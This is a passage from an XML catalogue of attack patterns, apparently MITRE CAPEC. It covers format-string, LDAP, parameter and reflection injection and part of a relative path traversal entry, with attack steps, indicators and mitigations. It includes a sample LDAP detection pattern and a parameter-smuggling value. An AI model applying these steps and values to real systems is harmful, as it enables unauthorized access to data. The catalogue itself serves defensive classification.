				<Attack_Motivation-Consequence>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input used as formatting string.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Formatting characters associated with malicious string content intended to
					reveal information or modify the memory.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Application (server, client, etc.)</Text>
			</Activation_Zone>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>134<!--Uncontrolled Format String-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>133<!--String Errors-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>User-controllable input shall not be used directly inside a formatting
						string function e.g., fprintf(user_controllable). Special formatting
						characters in user-controllable input must be escaped before use by the
						application in a formatting string function. </Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Ensure that all format string functions are passed a static string which
						cannot be controlled by the user and that the proper number of arguments are
						always sent to that function as well. If at all possible, use functions that
						do not support the %n operator in format strings. </Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Input as Part of a Directive to any Internal Component</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Authorization Mechanisms Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Hal Burch</Reference_Author>
					<Reference_Author>Brendan Saulsbury</Reference_Author>
					<Reference_Title>FIO30-C. Exclude user input from format
						strings</Reference_Title>
					<Reference_Publisher>CERT</Reference_Publisher>
					<Reference_PubDate>May 2011</Reference_PubDate>
					<Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/FIO30-C.+Exclude+user+input+from+format+strings</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Robert Auger</Reference_Author>
					<Reference_Title>Format String</Reference_Title>
					<Reference_Publisher>WASC Threat Classfification</Reference_Publisher>
					<Reference_PubDate>Feb 2009</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Format-String</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Fortify</Reference_Author>
					<Reference_Title>Format String</Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>https://www.owasp.org/index.php/Format_String</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Attack
							Execution Flow, Attack Prerequisites, Examples and
							Solutions</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Paco Hope</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Tom Stracener</Modifier>
						<Modifier_Organization>Contract Security Engineer
							(MITRE)</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Review and added additional
							content.</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="136" Name="LDAP Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates or crafts an LDAP query for the purpose of
						undermining the security of the target. Some applications use user input to
						create LDAP queries that are processed by an LDAP server. For example, a
						user might provide their username during authentication and the username
						might be inserted in an LDAP query during the authentication process. An
						attacker could use this input to inject additional commands into an LDAP
						query that could disclose sensitive information. For example, entering a *
						in the aforementioned query might return information about all users on the
						system. This attack is very similar to an SQL injection attack in that it
						manipulates a query to gather additional information or coerce a particular
						return value.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker takes an inventory of the entry
												points of the application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spider web sites for all available
												links</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Sniff network communications with
												application using a utility such as
												WireShark.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one data input to
												application identified.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No inputs to application
												identified. Note that just because no inputs are
												identified does not mean that the application will
												not accept any.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine user-controllable input
											susceptible to LDAP injection:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>For each user-controllable input that the attacker
												suspects is vulnerable to LDAP injection, attempt to
												inject characters that have special meaning in LDAP
												(such as a single quote character, etc.). The goal
												is to create a LDAP query with an invalid
												syntax</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use web browser to inject input through text
												fields or through HTTP GET parameters</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a web application debugging tool such as
												Tamper Data, TamperIE, WebScarab,etc. to modify
												HTTP POST parameters, hidden fields, non-freeform
												fields, or other HTTP header.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use modified client (modified by reverse
												engineering) to inject input.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Attacker recieves an error message from
												target indicating a problem with the LDAP
												Query</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Server sends a specific error message that
												indicates programmatic parsing of the input data
												(e.g. NumberFormatException)</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least user controllable data
												input to application
												identified.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No inputs susceptible to
												injection into the application were
												identified..</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Search for and alert
												on unexpected LDAP constructs in application logs,
												e.g. (email=*))
												etc.).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Input validation of
												user-controlled data before including it in a LDAP
												query</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Try to exploit the LDAP injection
											vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>After determining that a given input is vulnerable
												to LDAP Injection, hypothesize what the underlying
												query looks like. Possibly using a tool, iteratively
												try to add logic to the query to extract information
												from the LDAP, or to modify or delete information in
												the LDAP.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Add logic to the LDAP query to change the
												meaning of that command. Automated tools could be
												used to generate the LDAP injection
												strings.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a web application debugging tool such as
												Tamper Data, TamperIE, WebScarab,etc. to modify
												HTTP POST parameters, hidden fields, non-freeform
												fields, or other HTTP header.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Probing via LDAP syntax injection was
												successful in identifying vulnerable input.</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Probing via LDAP syntax injection failed in
												identifying vulnerable input.</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker achieves goal of
												unauthorized information access,
												etc.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker unable to exploit LDAP
												Injection vulnerability.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Search for and alert
												on unexpected LDAP constructs in application logs,
												e.g. (email=*))
												etc.).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Input validation of
												user-controlled data before including it in a LDAP
												query</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must accept a string as user input, fail to
						sanitize characters that have a special meaning in LDAP queries in the user
						input, and insert the user-supplied string in an LDAP query which is then
						processed.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>PowerDNS before 2.9.18, when running with an LDAP backend, does not
							properly escape LDAP queries, which allows remote attackers to cause a
							denial of service (failure to answer ldap questions) and possibly
							conduct an LDAP injection attack.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2005-2301</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Strong input validation - All user-controllable input must be validated
						and filtered for illegal characters as well as LDAP content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use of custom error pages - Attackers can glean information about the
						nature of queries from descriptive error messages. Input validation must be
						coupled with customized error pages that inform about an error without
						disclosing information about the LDAP or application.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input used as part of LDAP queries: This may include input
					fields on web forms, data in user-accessible files or even command-line
					parameters.</Text>
			</Injection_Vector>
			<Payload>
				<Text>LDAP statement intended to reveal information or run malicious code</Text>
			</Payload>
			<Activation_Zone>
				<Text>Back-end LDAP directory tree</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>When malicious LDAP content is executed by the LDAP engine, it can lead to
						arbitrary queries being executed, causing disclosure of information,
						unauthorized access, privilege escalation and possibly system
						compromise.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>77<!--Improper Neutralization of Special Elements used in a Command ('Command Injection')-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>90<!--Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Special characters in user-controllable input must be escaped before use
						by the application. </Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Custom error pages must be used to handle exceptions such that they do not
						reveal any information about the architecture of the application or the LDAP
						structure. </Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Handle All Errors Safely</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Never Use Input as Part of a Directive to any Internal Component</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Robert Auger</Reference_Author>
					<Reference_Title>LDAP Injection</Reference_Title>
					<Reference_Publisher>WASC Threat Classfification</Reference_Publisher>
					<Reference_PubDate>Feb 2009</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/LDAP-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Attack
							Execution Flow, Attack Prerequisites, Examples and
							Solutions</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Paco Hope</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Tom Stracener</Modifier>
						<Modifier_Organization>Contract Security Engineer
							(MITRE)</Modifier_Organization>
						<Modification_Date>20011-07-12</Modification_Date>
						<Modification_Comment>Converted to XML and reviewed
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="137" Name="Parameter Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits weaknesses in input validation by manipulating the
						content of request parameters for the purpose of undermining the security of
						the target. Some parameter encodings use text characters as separators. For
						example, parameters in a HTTP GET message are encoded as name-value pairs
						separated by an ampersand (&amp;). If an attacker can supply text strings
						that are used to fill in these parameters, then they can inject special
						characters used in the encoding scheme to add or modify parameters. For
						example, if user input is fed directly into an HTTP GET request and the user
						provides the value "myInput&amp;new_param=myValue", then the input parameter
						is set to myInput, but a new parameter (new_param) is also added with a
						value of myValue. This can significantly change the meaning of the query
						that is processed by the server. Any encoding scheme where parameters are
						identified and separated by text characters is potentially vulnerable to
						this attack - the HTTP GET encoding used above is just one example.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must use a parameter encoding where separators and
						parameter identifiers are expressed in regular text.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target application must accept a string as user input, fail to
						sanitize characters that have a special meaning in the parameter encoding,
						and insert the user-supplied string in an encoding which is then
						processed.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required beyond the ability to provide string input
					to the target.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="138" Name="Reflection Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker supplies a value to the target application which is then used
						by reflection methods to identify a class, method, or field. For example, in
						the Java programming language the reflection libraries permit an application
						to inspect, load, and invoke classes and their components by name. If an
						attacker can control the input into these methods including the name of the
						class/method/field or the parameters passed to methods, they can cause the
						targeted application to invoke incorrect methods, read random fields, or
						even to load and utilize malicious classes that the attacker created. This
						can lead to the application revealing sensitive information, returning
						incorrect results, or even having the attacker take control of the targeted
						application.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must utilize reflection libraries and allow users
						to directly control the parameters to these methods.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for most forms of this attack beyond the
					ability to provide input to the target that is used to populate parameters for
					reflection methods. If the attacker can host classes where the target can invoke
					them, more powerful variants of this attack are possible.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="139" Name="Relative Path Traversal" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in input validation on the target by
						supplying a specially constructed path utilizing dot and slash characters
						for the purpose of obtaining access to arbitrary files or resources. An
						attacker modifies a known path on the target in order to reach material that
						is not available through intended channels. These attacks normally involve
						adding additional path separators (/ or \) and/or dots (.), or encodings
						thereof, in various combinations in order to reach parent directories or
						entirely separate trees of the target's directory structure. </Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links on a web site. He records
												all the links he finds. He picks out the URL
												parameters that may related to access to files.
											</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web application.
												Make special note of any links that include
												parameters in the URL. Manual traversal of this
												type is frequently necessary to identify forms
												that are GET method forms rather than POST
												forms.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browser's plug-in are available to facilitate the
												analysis or automate the URL discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>There are links that include parameters in
												URL.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear on the URL. Even though
												none appear, the web application may still use
												them if they are provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters is created by the
